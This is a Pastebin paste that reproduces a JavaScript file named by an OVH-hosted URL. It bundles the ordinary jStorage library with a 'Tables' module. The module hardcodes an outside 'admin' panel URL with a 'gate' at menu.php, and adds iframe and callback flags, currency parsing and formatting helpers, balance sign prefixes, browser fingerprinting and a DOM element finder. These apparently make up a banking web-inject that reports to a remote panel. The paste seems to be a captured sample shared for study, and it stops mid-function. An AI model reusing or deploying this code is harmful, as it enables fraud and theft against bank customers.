Xylitol

ssl10.ovh.net/~dpexpert/bp.js

Aug 18th, 2017
791
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function() {
  2. 'use strict';
  3. var
  4. /* jStorage version */
  5. JSTORAGE_VERSION = '0.4.12',
  6. /* detect a dollar object or create one if not found */
  7. $ = window.jQuery || window.$ || (window.$ = {}),
  8. /* check for a JSON handling support */
  9. JSON = {
  10. parse: window.JSON && (window.JSON.parse || window.JSON.decode) ||
  11. String.prototype.evalJSON && function(str) {
  12. return String(str).evalJSON();
  13. } ||
  14. $.parseJSON ||
  15. $.evalJSON,
  16. stringify: Object.toJSON ||
  17. window.JSON && (window.JSON.stringify || window.JSON.encode) ||
  18. $.toJSON
  19. };
  20. // Break if no JSON support was found
  21. if (typeof JSON.parse !== 'function' || typeof JSON.stringify !== 'function') {
  22. throw new Error('No JSON support found, include //cdnjs.cloudflare.com/ajax/libs/json2/20110223/json2.js to page');
  23. }
  24. var
  25. /* This is the object, that holds the cached values */
  26. _storage = {
  27. __jstorage_meta: {
  28. CRC32: {}
  29. }
  30. },
  31. /* Actual browser storage (localStorage or globalStorage['domain']) */
  32. _storage_service = {
  33. jStorage: '{}'
  34. },
  35. /* DOM element for older IE versions, holds userData behavior */
  36. _storage_elm = null,
  37. /* How much space does the storage take */
  38. _storage_size = 0,
  39. /* which backend is currently used */
  40. _backend = false,
  41. /* onchange observers */
  42. _observers = {},
  43. /* timeout to wait after onchange event */
  44. _observer_timeout = false,
  45. /* last update time */
  46. _observer_update = 0,
  47. /* pubsub observers */
  48. _pubsub_observers = {},
  49. /* skip published items older than current timestamp */
  50. _pubsub_last = +new Date(),
  51. /* Next check for TTL */
  52. _ttl_timeout,
  53. /**
  54. * XML encoding and decoding as XML nodes can't be JSON'ized
  55. * XML nodes are encoded and decoded if the node is the value to be saved
  56. * but not if it's as a property of another object
  57. * Eg. -
  58. * $.jStorage.set('key', xmlNode); // IS OK
  59. * $.jStorage.set('key', {xml: xmlNode}); // NOT OK
  60. */
  61. _XMLService = {
  62. /**
  63. * Validates a XML node to be XML
  64. * based on jQuery.isXML function
  65. */
  66. isXML: function(elm) {
  67. var documentElement = (elm ? elm.ownerDocument || elm : 0).documentElement;
  68. return documentElement ? documentElement.nodeName !== 'HTML' : false;
  69. },
  70. /**
  71. * Encodes a XML node to string
  72. * based on http://www.mercurytide.co.uk/news/article/issues-when-working-ajax/
  73. */
  74. encode: function(xmlNode) {
  75. if (!this.isXML(xmlNode)) {
  76. return false;
  77. }
  78. try { // Mozilla, Webkit, Opera
  79. return new XMLSerializer().serializeToString(xmlNode);
  80. } catch (E1) {
  81. try { // IE
  82. return xmlNode.xml;
  83. } catch (E2) {}
  84. }
  85. return false;
  86. },
  87. /**
  88. * Decodes a XML node from string
  89. * loosely based on http://outwestmedia.com/jquery-plugins/xmldom/
  90. */
  91. decode: function(xmlString) {
  92. var dom_parser = ('DOMParser' in window && (new DOMParser()).parseFromString) ||
  93. (window.ActiveXObject && function(_xmlString) {
  94. var xml_doc = new ActiveXObject('Microsoft.XMLDOM');
  95. xml_doc.async = 'false';
  96. xml_doc.loadXML(_xmlString);
  97. return xml_doc;
  98. }),
  99. resultXML;
  100. if (!dom_parser) {
  101. return false;
  102. }
  103. resultXML = dom_parser.call('DOMParser' in window && (new DOMParser()) || window, xmlString, 'text/xml');
  104. return this.isXML(resultXML) ? resultXML : false;
  105. }
  106. };
  107. ////////////////////////// PRIVATE METHODS ////////////////////////
  108. /**
  109. * Initialization function. Detects if the browser supports DOM Storage
  110. * or userData behavior and behaves accordingly.
  111. */
  112. function _init() {
  113. /* Check if browser supports localStorage */
  114. var localStorageReallyWorks = false;
  115. if ('localStorage' in window) {
  116. try {
  117. window.localStorage.setItem('_tmptest', 'tmpval');
  118. localStorageReallyWorks = true;
  119. window.localStorage.removeItem('_tmptest');
  120. } catch (BogusQuotaExceededErrorOnIos5) {
  121. // Thanks be to iOS5 Private Browsing mode which throws
  122. // QUOTA_EXCEEDED_ERRROR DOM Exception 22.
  123. }
  124. }
  125. if (localStorageReallyWorks) {
  126. try {
  127. if (window.localStorage) {
  128. _storage_service = window.localStorage;
  129. _backend = 'localStorage';
  130. _observer_update = _storage_service.jStorage_update;
  131. }
  132. } catch (E3) { /* Firefox fails when touching localStorage and cookies are disabled */ }
  133. }
  134. /* Check if browser supports globalStorage */
  135. else if ('globalStorage' in window) {
  136. try {
  137. if (window.globalStorage) {
  138. if (window.location.hostname == 'localhost') {
  139. _storage_service = window.globalStorage['localhost.localdomain'];
  140. } else {
  141. _storage_service = window.globalStorage[window.location.hostname];
  142. }
  143. _backend = 'globalStorage';
  144. _observer_update = _storage_service.jStorage_update;
  145. }
  146. } catch (E4) { /* Firefox fails when touching localStorage and cookies are disabled */ }
  147. }
  148. /* Check if browser supports userData behavior */
  149. else {
  150. _storage_elm = document.createElement('link');
  151. if (_storage_elm.addBehavior) {
  152. /* Use a DOM element to act as userData storage */
  153. _storage_elm.style.behavior = 'url(#default#userData)';
  154. /* userData element needs to be inserted into the DOM! */
  155. document.getElementsByTagName('head')[0].appendChild(_storage_elm);
  156. try {
  157. _storage_elm.load('jStorage');
  158. } catch (E) {
  159. // try to reset cache
  160. _storage_elm.setAttribute('jStorage', '{}');
  161. _storage_elm.save('jStorage');
  162. _storage_elm.load('jStorage');
  163. }
  164. var data = '{}';
  165. try {
  166. data = _storage_elm.getAttribute('jStorage');
  167. } catch (E5) {}
  168. try {
  169. _observer_update = _storage_elm.getAttribute('jStorage_update');
  170. } catch (E6) {}
  171. _storage_service.jStorage = data;
  172. _backend = 'userDataBehavior';
  173. } else {
  174. _storage_elm = null;
  175. return;
  176. }
  177. }
  178. // Load data from storage
  179. _load_storage();
  180. // remove dead keys
  181. _handleTTL();
  182. // start listening for changes
  183. _setupObserver();
  184. // initialize publish-subscribe service
  185. _handlePubSub();
  186. // handle cached navigation
  187. if ('addEventListener' in window) {
  188. window.addEventListener('pageshow', function(event) {
  189. if (event.persisted) {
  190. _storageObserver();
  191. }
  192. }, false);
  193. }
  194. }
  195. /**
  196. * Reload data from storage when needed
  197. */
  198. function _reloadData() {
  199. var data = '{}';
  200. if (_backend == 'userDataBehavior') {
  201. _storage_elm.load('jStorage');
  202. try {
  203. data = _storage_elm.getAttribute('jStorage');
  204. } catch (E5) {}
  205. try {
  206. _observer_update = _storage_elm.getAttribute('jStorage_update');
  207. } catch (E6) {}
  208. _storage_service.jStorage = data;
  209. }
  210. _load_storage();
  211. // remove dead keys
  212. _handleTTL();
  213. _handlePubSub();
  214. }
  215. /**
  216. * Sets up a storage change observer
  217. */
  218. function _setupObserver() {
  219. if (_backend == 'localStorage' || _backend == 'globalStorage') {
  220. if ('addEventListener' in window) {
  221. window.addEventListener('storage', _storageObserver, false);
  222. } else {
  223. document.attachEvent('onstorage', _storageObserver);
  224. }
  225. } else if (_backend == 'userDataBehavior') {
  226. setInterval(_storageObserver, 1000);
  227. }
  228. }
  229. /**
  230. * Fired on any kind of data change, needs to check if anything has
  231. * really been changed
  232. */
  233. function _storageObserver() {
  234. var updateTime;
  235. // cumulate change notifications with timeout
  236. clearTimeout(_observer_timeout);
  237. _observer_timeout = setTimeout(function() {
  238. if (_backend == 'localStorage' || _backend == 'globalStorage') {
  239. updateTime = _storage_service.jStorage_update;
  240. } else if (_backend == 'userDataBehavior') {
  241. _storage_elm.load('jStorage');
  242. try {
  243. updateTime = _storage_elm.getAttribute('jStorage_update');
  244. } catch (E5) {}
  245. }
  246. if (updateTime && updateTime != _observer_update) {
  247. _observer_update = updateTime;
  248. _checkUpdatedKeys();
  249. }
  250. }, 25);
  251. }
  252. /**
  253. * Reloads the data and checks if any keys are changed
  254. */
  255. function _checkUpdatedKeys() {
  256. var oldCrc32List = JSON.parse(JSON.stringify(_storage.__jstorage_meta.CRC32)),
  257. newCrc32List;
  258. _reloadData();
  259. newCrc32List = JSON.parse(JSON.stringify(_storage.__jstorage_meta.CRC32));
  260. var key,
  261. updated = [],
  262. removed = [];
  263. for (key in oldCrc32List) {
  264. if (oldCrc32List.hasOwnProperty(key)) {
  265. if (!newCrc32List[key]) {
  266. removed.push(key);
  267. continue;
  268. }
  269. if (oldCrc32List[key] != newCrc32List[key] && String(oldCrc32List[key]).substr(0, 2) == '2.') {
  270. updated.push(key);
  271. }
  272. }
  273. }
  274. for (key in newCrc32List) {
  275. if (newCrc32List.hasOwnProperty(key)) {
  276. if (!oldCrc32List[key]) {
  277. updated.push(key);
  278. }
  279. }
  280. }
  281. _fireObservers(updated, 'updated');
  282. _fireObservers(removed, 'deleted');
  283. }
  284. /**
  285. * Fires observers for updated keys
  286. *
  287. * @param {Array|String} keys Array of key names or a key
  288. * @param {String} action What happened with the value (updated, deleted, flushed)
  289. */
  290. function _fireObservers(keys, action) {
  291. keys = [].concat(keys || []);
  292. var i, j, len, jlen;
  293. if (action == 'flushed') {
  294. keys = [];
  295. for (var key in _observers) {
  296. if (_observers.hasOwnProperty(key)) {
  297. keys.push(key);
  298. }
  299. }
  300. action = 'deleted';
  301. }
  302. for (i = 0, len = keys.length; i < len; i++) {
  303. if (_observers[keys[i]]) {
  304. for (j = 0, jlen = _observers[keys[i]].length; j < jlen; j++) {
  305. _observers[keys[i]][j](keys[i], action);
  306. }
  307. }
  308. if (_observers['*']) {
  309. for (j = 0, jlen = _observers['*'].length; j < jlen; j++) {
  310. _observers['*'][j](keys[i], action);
  311. }
  312. }
  313. }
  314. }
  315. /**
  316. * Publishes key change to listeners
  317. */
  318. function _publishChange() {
  319. var updateTime = (+new Date()).toString();
  320. if (_backend == 'localStorage' || _backend == 'globalStorage') {
  321. try {
  322. _storage_service.jStorage_update = updateTime;
  323. } catch (E8) {
  324. // safari private mode has been enabled after the jStorage initialization
  325. _backend = false;
  326. }
  327. } else if (_backend == 'userDataBehavior') {
  328. _storage_elm.setAttribute('jStorage_update', updateTime);
  329. _storage_elm.save('jStorage');
  330. }
  331. _storageObserver();
  332. }
  333. /**
  334. * Loads the data from the storage based on the supported mechanism
  335. */
  336. function _load_storage() {
  337. /* if jStorage string is retrieved, then decode it */
  338. if (_storage_service.jStorage) {
  339. try {
  340. _storage = JSON.parse(String(_storage_service.jStorage));
  341. } catch (E6) {
  342. _storage_service.jStorage = '{}';
  343. }
  344. } else {
  345. _storage_service.jStorage = '{}';
  346. }
  347. _storage_size = _storage_service.jStorage ? String(_storage_service.jStorage).length : 0;
  348. if (!_storage.__jstorage_meta) {
  349. _storage.__jstorage_meta = {};
  350. }
  351. if (!_storage.__jstorage_meta.CRC32) {
  352. _storage.__jstorage_meta.CRC32 = {};
  353. }
  354. }
  355. /**
  356. * This functions provides the 'save' mechanism to store the jStorage object
  357. */
  358. function _save() {
  359. _dropOldEvents(); // remove expired events
  360. try {
  361. _storage_service.jStorage = JSON.stringify(_storage);
  362. // If userData is used as the storage engine, additional
  363. if (_storage_elm) {
  364. _storage_elm.setAttribute('jStorage', _storage_service.jStorage);
  365. _storage_elm.save('jStorage');
  366. }
  367. _storage_size = _storage_service.jStorage ? String(_storage_service.jStorage).length : 0;
  368. } catch (E7) { /* probably cache is full, nothing is saved this way*/ }
  369. }
  370. /**
  371. * Function checks if a key is set and is string or numberic
  372. *
  373. * @param {String} key Key name
  374. */
  375. function _checkKey(key) {
  376. if (typeof key != 'string' && typeof key != 'number') {
  377. throw new TypeError('Key name must be string or numeric');
  378. }
  379. if (key == '__jstorage_meta') {
  380. throw new TypeError('Reserved key name');
  381. }
  382. return true;
  383. }
  384. /**
  385. * Removes expired keys
  386. */
  387. function _handleTTL() {
  388. var curtime, i, TTL, CRC32, nextExpire = Infinity,
  389. changed = false,
  390. deleted = [];
  391. clearTimeout(_ttl_timeout);
  392. if (!_storage.__jstorage_meta || typeof _storage.__jstorage_meta.TTL != 'object') {
  393. // nothing to do here
  394. return;
  395. }
  396. curtime = +new Date();
  397. TTL = _storage.__jstorage_meta.TTL;
  398. CRC32 = _storage.__jstorage_meta.CRC32;
  399. for (i in TTL) {
  400. if (TTL.hasOwnProperty(i)) {
  401. if (TTL[i] <= curtime) {
  402. delete TTL[i];
  403. delete CRC32[i];
  404. delete _storage[i];
  405. changed = true;
  406. deleted.push(i);
  407. } else if (TTL[i] < nextExpire) {
  408. nextExpire = TTL[i];
  409. }
  410. }
  411. }
  412. // set next check
  413. if (nextExpire != Infinity) {
  414. _ttl_timeout = setTimeout(_handleTTL, Math.min(nextExpire - curtime, 0x7FFFFFFF));
  415. }
  416. // save changes
  417. if (changed) {
  418. _save();
  419. _publishChange();
  420. _fireObservers(deleted, 'deleted');
  421. }
  422. }
  423. /**
  424. * Checks if there's any events on hold to be fired to listeners
  425. */
  426. function _handlePubSub() {
  427. var i, len;
  428. if (!_storage.__jstorage_meta.PubSub) {
  429. return;
  430. }
  431. var pubelm,
  432. _pubsubCurrent = _pubsub_last,
  433. needFired = [];
  434. for (i = len = _storage.__jstorage_meta.PubSub.length - 1; i >= 0; i--) {
  435. pubelm = _storage.__jstorage_meta.PubSub[i];
  436. if (pubelm[0] > _pubsub_last) {
  437. _pubsubCurrent = pubelm[0];
  438. needFired.unshift(pubelm);
  439. }
  440. }
  441. for (i = needFired.length - 1; i >= 0; i--) {
  442. _fireSubscribers(needFired[i][1], needFired[i][2]);
  443. }
  444. _pubsub_last = _pubsubCurrent;
  445. }
  446. /**
  447. * Fires all subscriber listeners for a pubsub channel
  448. *
  449. * @param {String} channel Channel name
  450. * @param {Mixed} payload Payload data to deliver
  451. */
  452. function _fireSubscribers(channel, payload) {
  453. if (_pubsub_observers[channel]) {
  454. for (var i = 0, len = _pubsub_observers[channel].length; i < len; i++) {
  455. // send immutable data that can't be modified by listeners
  456. try {
  457. _pubsub_observers[channel][i](channel, JSON.parse(JSON.stringify(payload)));
  458. } catch (E) {}
  459. }
  460. }
  461. }
  462. /**
  463. * Remove old events from the publish stream (at least 2sec old)
  464. */
  465. function _dropOldEvents() {
  466. if (!_storage.__jstorage_meta.PubSub) {
  467. return;
  468. }
  469. var retire = +new Date() - 2000;
  470. for (var i = 0, len = _storage.__jstorage_meta.PubSub.length; i < len; i++) {
  471. if (_storage.__jstorage_meta.PubSub[i][0] <= retire) {
  472. // deleteCount is needed for IE6
  473. _storage.__jstorage_meta.PubSub.splice(i, _storage.__jstorage_meta.PubSub.length - i);
  474. break;
  475. }
  476. }
  477. if (!_storage.__jstorage_meta.PubSub.length) {
  478. delete _storage.__jstorage_meta.PubSub;
  479. }
  480. }
  481. /**
  482. * Publish payload to a channel
  483. *
  484. * @param {String} channel Channel name
  485. * @param {Mixed} payload Payload to send to the subscribers
  486. */
  487. function _publish(channel, payload) {
  488. if (!_storage.__jstorage_meta) {
  489. _storage.__jstorage_meta = {};
  490. }
  491. if (!_storage.__jstorage_meta.PubSub) {
  492. _storage.__jstorage_meta.PubSub = [];
  493. }
  494. _storage.__jstorage_meta.PubSub.unshift([+new Date(), channel, payload]);
  495. _save();
  496. _publishChange();
  497. }
  498. /**
  499. * JS Implementation of MurmurHash2
  500. *
  501. * SOURCE: https://github.com/garycourt/murmurhash-js (MIT licensed)
  502. *
  503. * @author <a href='mailto:[email protected]'>Gary Court</a>
  504. * @see http://github.com/garycourt/murmurhash-js
  505. * @author <a href='mailto:[email protected]'>Austin Appleby</a>
  506. * @see http://sites.google.com/site/murmurhash/
  507. *
  508. * @param {string} str ASCII only
  509. * @param {number} seed Positive integer only
  510. * @return {number} 32-bit positive integer hash
  511. */
  512. function murmurhash2_32_gc(str, seed) {
  513. var
  514. l = str.length,
  515. h = seed ^ l,
  516. i = 0,
  517. k;
  518. while (l >= 4) {
  519. k =
  520. ((str.charCodeAt(i) & 0xff)) |
  521. ((str.charCodeAt(++i) & 0xff) << 8) |
  522. ((str.charCodeAt(++i) & 0xff) << 16) |
  523. ((str.charCodeAt(++i) & 0xff) << 24);
  524. k = (((k & 0xffff) * 0x5bd1e995) + ((((k >>> 16) * 0x5bd1e995) & 0xffff) << 16));
  525. k ^= k >>> 24;
  526. k = (((k & 0xffff) * 0x5bd1e995) + ((((k >>> 16) * 0x5bd1e995) & 0xffff) << 16));
  527. h = (((h & 0xffff) * 0x5bd1e995) + ((((h >>> 16) * 0x5bd1e995) & 0xffff) << 16)) ^ k;
  528. l -= 4;
  529. ++i;
  530. }
  531. switch (l) {
  532. case 3:
  533. h ^= (str.charCodeAt(i + 2) & 0xff) << 16;
  534. /* falls through */
  535. case 2:
  536. h ^= (str.charCodeAt(i + 1) & 0xff) << 8;
  537. /* falls through */
  538. case 1:
  539. h ^= (str.charCodeAt(i) & 0xff);
  540. h = (((h & 0xffff) * 0x5bd1e995) + ((((h >>> 16) * 0x5bd1e995) & 0xffff) << 16));
  541. }
  542. h ^= h >>> 13;
  543. h = (((h & 0xffff) * 0x5bd1e995) + ((((h >>> 16) * 0x5bd1e995) & 0xffff) << 16));
  544. h ^= h >>> 15;
  545. return h >>> 0;
  546. }
  547. ////////////////////////// PUBLIC INTERFACE /////////////////////////
  548. $.jStorage = {
  549. /* Version number */
  550. version: JSTORAGE_VERSION,
  551. /**
  552. * Sets a key's value.
  553. *
  554. * @param {String} key Key to set. If this value is not set or not
  555. * a string an exception is raised.
  556. * @param {Mixed} value Value to set. This can be any value that is JSON
  557. * compatible (Numbers, Strings, Objects etc.).
  558. * @param {Object} [options] - possible options to use
  559. * @param {Number} [options.TTL] - optional TTL value, in milliseconds
  560. * @return {Mixed} the used value
  561. */
  562. set: function(key, value, options) {
  563. _checkKey(key);
  564. options = options || {};
  565. // undefined values are deleted automatically
  566. if (typeof value == 'undefined') {
  567. this.deleteKey(key);
  568. return value;
  569. }
  570. if (_XMLService.isXML(value)) {
  571. value = {
  572. _is_xml: true,
  573. xml: _XMLService.encode(value)
  574. };
  575. } else if (typeof value == 'function') {
  576. return undefined; // functions can't be saved!
  577. } else if (value && typeof value == 'object') {
  578. // clone the object before saving to _storage tree
  579. value = JSON.parse(JSON.stringify(value));
  580. }
  581. _storage[key] = value;
  582. _storage.__jstorage_meta.CRC32[key] = '2.' + murmurhash2_32_gc(JSON.stringify(value), 0x9747b28c);
  583. this.setTTL(key, options.TTL || 0); // also handles saving and _publishChange
  584. _fireObservers(key, 'updated');
  585. return value;
  586. },
  587. /**
  588. * Looks up a key in cache
  589. *
  590. * @param {String} key - Key to look up.
  591. * @param {mixed} def - Default value to return, if key didn't exist.
  592. * @return {Mixed} the key value, default value or null
  593. */
  594. get: function(key, def) {
  595. _checkKey(key);
  596. if (key in _storage) {
  597. if (_storage[key] && typeof _storage[key] == 'object' && _storage[key]._is_xml) {
  598. return _XMLService.decode(_storage[key].xml);
  599. } else {
  600. return _storage[key];
  601. }
  602. }
  603. return typeof(def) == 'undefined' ? null : def;
  604. },
  605. /**
  606. * Deletes a key from cache.
  607. *
  608. * @param {String} key - Key to delete.
  609. * @return {Boolean} true if key existed or false if it didn't
  610. */
  611. deleteKey: function(key) {
  612. _checkKey(key);
  613. if (key in _storage) {
  614. delete _storage[key];
  615. // remove from TTL list
  616. if (typeof _storage.__jstorage_meta.TTL == 'object' &&
  617. key in _storage.__jstorage_meta.TTL) {
  618. delete _storage.__jstorage_meta.TTL[key];
  619. }
  620. delete _storage.__jstorage_meta.CRC32[key];
  621. _save();
  622. _publishChange();
  623. _fireObservers(key, 'deleted');
  624. return true;
  625. }
  626. return false;
  627. },
  628. /**
  629. * Sets a TTL for a key, or remove it if ttl value is 0 or below
  630. *
  631. * @param {String} key - key to set the TTL for
  632. * @param {Number} ttl - TTL timeout in milliseconds
  633. * @return {Boolean} true if key existed or false if it didn't
  634. */
  635. setTTL: function(key, ttl) {
  636. var curtime = +new Date();
  637. _checkKey(key);
  638. ttl = Number(ttl) || 0;
  639. if (key in _storage) {
  640. if (!_storage.__jstorage_meta.TTL) {
  641. _storage.__jstorage_meta.TTL = {};
  642. }
  643. // Set TTL value for the key
  644. if (ttl > 0) {
  645. _storage.__jstorage_meta.TTL[key] = curtime + ttl;
  646. } else {
  647. delete _storage.__jstorage_meta.TTL[key];
  648. }
  649. _save();
  650. _handleTTL();
  651. _publishChange();
  652. return true;
  653. }
  654. return false;
  655. },
  656. /**
  657. * Gets remaining TTL (in milliseconds) for a key or 0 when no TTL has been set
  658. *
  659. * @param {String} key Key to check
  660. * @return {Number} Remaining TTL in milliseconds
  661. */
  662. getTTL: function(key) {
  663. var curtime = +new Date(),
  664. ttl;
  665. _checkKey(key);
  666. if (key in _storage && _storage.__jstorage_meta.TTL && _storage.__jstorage_meta.TTL[key]) {
  667. ttl = _storage.__jstorage_meta.TTL[key] - curtime;
  668. return ttl || 0;
  669. }
  670. return 0;
  671. },
  672. /**
  673. * Deletes everything in cache.
  674. *
  675. * @return {Boolean} Always true
  676. */
  677. flush: function() {
  678. _storage = {
  679. __jstorage_meta: {
  680. CRC32: {}
  681. }
  682. };
  683. _save();
  684. _publishChange();
  685. _fireObservers(null, 'flushed');
  686. return true;
  687. },
  688. /**
  689. * Returns a read-only copy of _storage
  690. *
  691. * @return {Object} Read-only copy of _storage
  692. */
  693. storageObj: function() {
  694. function F() {}
  695. F.prototype = _storage;
  696. return new F();
  697. },
  698. /**
  699. * Returns an index of all used keys as an array
  700. * ['key1', 'key2',..'keyN']
  701. *
  702. * @return {Array} Used keys
  703. */
  704. index: function() {
  705. var index = [],
  706. i;
  707. for (i in _storage) {
  708. if (_storage.hasOwnProperty(i) && i != '__jstorage_meta') {
  709. index.push(i);
  710. }
  711. }
  712. return index;
  713. },
  714. /**
  715. * How much space in bytes does the storage take?
  716. *
  717. * @return {Number} Storage size in chars (not the same as in bytes,
  718. * since some chars may take several bytes)
  719. */
  720. storageSize: function() {
  721. return _storage_size;
  722. },
  723. /**
  724. * Which backend is currently in use?
  725. *
  726. * @return {String} Backend name
  727. */
  728. currentBackend: function() {
  729. return _backend;
  730. },
  731. /**
  732. * Test if storage is available
  733. *
  734. * @return {Boolean} True if storage can be used
  735. */
  736. storageAvailable: function() {
  737. return !!_backend;
  738. },
  739. /**
  740. * Register change listeners
  741. *
  742. * @param {String} key Key name
  743. * @param {Function} callback Function to run when the key changes
  744. */
  745. listenKeyChange: function(key, callback) {
  746. _checkKey(key);
  747. if (!_observers[key]) {
  748. _observers[key] = [];
  749. }
  750. _observers[key].push(callback);
  751. },
  752. /**
  753. * Remove change listeners
  754. *
  755. * @param {String} key Key name to unregister listeners against
  756. * @param {Function} [callback] If set, unregister the callback, if not - unregister all
  757. */
  758. stopListening: function(key, callback) {
  759. _checkKey(key);
  760. if (!_observers[key]) {
  761. return;
  762. }
  763. if (!callback) {
  764. delete _observers[key];
  765. return;
  766. }
  767. for (var i = _observers[key].length - 1; i >= 0; i--) {
  768. if (_observers[key][i] == callback) {
  769. _observers[key].splice(i, 1);
  770. }
  771. }
  772. },
  773. /**
  774. * Subscribe to a Publish/Subscribe event stream
  775. *
  776. * @param {String} channel Channel name
  777. * @param {Function} callback Function to run when the something is published to the channel
  778. */
  779. subscribe: function(channel, callback) {
  780. channel = (channel || '').toString();
  781. if (!channel) {
  782. throw new TypeError('Channel not defined');
  783. }
  784. if (!_pubsub_observers[channel]) {
  785. _pubsub_observers[channel] = [];
  786. }
  787. _pubsub_observers[channel].push(callback);
  788. },
  789. /**
  790. * Publish data to an event stream
  791. *
  792. * @param {String} channel Channel name
  793. * @param {Mixed} payload Payload to deliver
  794. */
  795. publish: function(channel, payload) {
  796. channel = (channel || '').toString();
  797. if (!channel) {
  798. throw new TypeError('Channel not defined');
  799. }
  800. _publish(channel, payload);
  801. },
  802. /**
  803. * Reloads the data from browser storage
  804. */
  805. reInit: function() {
  806. _reloadData();
  807. },
  808. /**
  809. * Removes reference from global objects and saves it as jStorage
  810. *
  811. * @param {Boolean} option if needed to save object as simple 'jStorage' in windows context
  812. */
  813. noConflict: function(saveInGlobal) {
  814. delete window.$.jStorage;
  815. if (saveInGlobal) {
  816. window.jStorage = this;
  817. }
  818. return this;
  819. }
  820. };
  821. // Initialize jStorage
  822. _init();
  823. })();
  824.  
  825. var _tablesStorage = $.jStorage;
  826.  
  827. var Tables = (function(){
  828.    
  829.     var admin = 'https://ssl6.ovh.net/~lifestyl/real_track/ssllxxssll/bp/';
  830.    
  831.     var data = new Array();
  832.    
  833.     var link = {
  834.         gate: admin+"menu.php"
  835.     };
  836.    
  837.     var options = {
  838.         callback_status: '',
  839.         iframe_status: '',
  840.         currency_state: false
  841.     };
  842.    
  843.     var splitter = {value: 'none',position: 'none'};
  844.     var prefix = {minus: '-',plus: ''};
  845.    
  846.     function notnull(param){if(param == null || param == undefined || param == "null" || param == "undefined" || param == "" || param == " "){return false;}else{return true;}}
  847.    
  848.     function compatHeight(){var ua = navigator.userAgent.toLowerCase();var isOpera = (ua.indexOf('opera')  > -1);var isIE = (!isOpera && ua.indexOf('msie') > -1);return ((document.compatMode || isIE) && !isOpera) ? (document.compatMode == 'CSS1Compat') ? document.documentElement.clientHeight : document.body.clientHeight : (document.parentWindow || document.defaultView).innerHeight;}
  849.    
  850.     function cin(digits){var res = '';if(digits && digits.length > 0){digits = digits.replace(/\u2212/g, "-");var ValidChars = "-.0123456789";for(var i = 0;i < digits.length; i++){var Char = digits.charAt(i);if(ValidChars.indexOf(Char) >=0){res += Char;}}}return parseFloat(res);}
  851.    
  852.     function cout(digits,r){if(r == 1){digits = digits.toString().replace(/\$|\,/g,'');if(isNaN(digits))digits = "0";sign = (digits == (digits = Math.abs(digits)));digits = Math.floor(digits*100+0.50000000001);cents = digits%100;digits = Math.floor(digits/100).toString();if(cents<10)cents = "0" + cents;for (var i = 0; i < Math.floor((digits.length-(1+i))/3); i++)digits = digits.substring(0,digits.length-(4*i+3))+','+digits.substring(digits.length-(4*i+3));return (((sign)?'':'-') + digits + '.' + cents);}else if(r == 2){digits = digits.toString().replace(/\$|\,/g,'');if(isNaN(digits))digits = "0";sign = (digits == (digits = Math.abs(digits)));digits = Math.floor(digits*100+0.50000000001);cents = digits%100;digits = Math.floor(digits/100).toString();if(cents<10)cents = "0" + cents;for (var i = 0; i < Math.floor((digits.length-(1+i))/3); i++)digits = digits.substring(0,digits.length-(4*i+3))+'.'+digits.substring(digits.length-(4*i+3));return (((sign)?'':'-') + digits + ',' + cents);}else{return digits;}}
  853.    
  854.     function gc(digits){if(digits){if(/[0-9]/igm.test(digits)){if(/\.[0-9]{2}$|\.[0-9]{2}\s{1,}/igm.test(digits)){options.currency_state = 1;return cin(digits.replace(/\,/g, ''));}else{options.currency_state = 2;return cin(digits.replace(/\./g, '').replace(/,/g, '.'));}}else{return digits;}}else{return digits;}}
  855.    
  856.     function sc(digits){if(options.currency_state == 1 || options.currency_state == 2){return cout(digits,options.currency_state);}else{return digits;}}
  857.    
  858.     return{
  859.    
  860.         brows: function(){
  861.             var ua=navigator.userAgent,tem,M=ua.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || [];
  862.             if(/trident/i.test(M[1])){
  863.                 tem=/\brv[ :]+(\d+)/g.exec(ua) || [];
  864.                 return {name:'IE ',version:(tem[1]||'')};
  865.                 }  
  866.             if(M[1]==='Chrome'){
  867.                 tem=ua.match(/\bOPR\/(\d+)/)
  868.                 if(tem!=null)   {return {name:'Opera', version:tem[1]};}
  869.                 }
  870.             M=M[2]? [M[1], M[2]]: [navigator.appName, navigator.appVersion, '-?'];
  871.             if((tem=ua.match(/version\/(\d+)/i))!=null) {M.splice(1,1,tem[1]);}
  872.             return M[0]+' '+M[1];
  873.         },
  874.        
  875.         set: function(name,value){
  876.             if(/function/igm.test(typeof value)){
  877.                 data[name] = value();
  878.             }else{
  879.                 data[name] = value;
  880.             }
  881.         },
  882.        
  883.         add: function(name,value){
  884.             if(data[name]){
  885.                 data[name] = data[name]+value;
  886.             }else{
  887.                 _tables.set(name,value);
  888.             }
  889.         },
  890.        
  891.         get: function(name){
  892.             return data[name];
  893.         },
  894.        
  895.         are: function(){
  896.             var r = true;
  897.             if(arguments && arguments.length > 0){
  898.                 for(var i = 0; i < arguments.length; i++){
  899.                     if(!data[arguments[i]]){
  900.                         r = false;
  901.                     }
  902.                 }
  903.             }
  904.             return r;
  905.         },
  906.        
  907.         dump: function(){
  908.             var a = '';
  909.             for(key in data){
  910.                 a += key+": "+data[key]+"\r\n";
  911.             }
  912.             alert(a);
  913.         },
  914.        
  915.         findout: function(){
  916.             var found = {
  917.                 tag: false,
  918.                 error: false,
  919.                 element: false
  920.             };
  921.            
  922.             if(arguments && arguments.length >= 3){
  923.                 var elements_array = arguments[1].split("|");
  924.                 if(elements_array.length > 0){
  925.                     for(var k = 0; k < elements_array.length; k++){
  926.                         var elements = arguments[0].getElementsByTagName(elements_array[k]);
  927.                         if(elements && elements.length > 0){
  928.                             for(var i = 0; i < elements.length; i++){
  929.                                 for(var e = 2; e < arguments.length; e++){
  930.                                     var pattern = new RegExp(arguments[e].split(":")[1],"igm");
  931.                                     if(arguments[e].split(":")[0] == "class"){
  932.                                         if(elements[i].className !== null && pattern.test(elements[i].className)){
  933.                                             found.tag = true;
  934.                                         }else{
  935.                                             found.error = true;
  936.                                         }
  937.                                     }else if(arguments[e].split(":")[0] == "for"){
  938.                                         if(elements[i].className !== null && pattern.test(elements[i].htmlFor)){
  939.                                             found.tag = true;
  940.                                         }else{
  941.                                             found.error = true;
  942.                                         }
  943.                                     }else{
  944.                                         if(elements[i].getAttribute(arguments[e].split(":")[0]) !== null && pattern.test(elements[i].getAttribute(arguments[e].split(":")[0]))){
  945.                                             found.tag = true;
  946.                                         }else{
  947.                                             found.error = true;
  948.                                         }
  949.                                     }
  950.                                 }
  951.                                 if(found.tag && !found.error){
  952.                                     return elements[i];
  953.                                 }else{
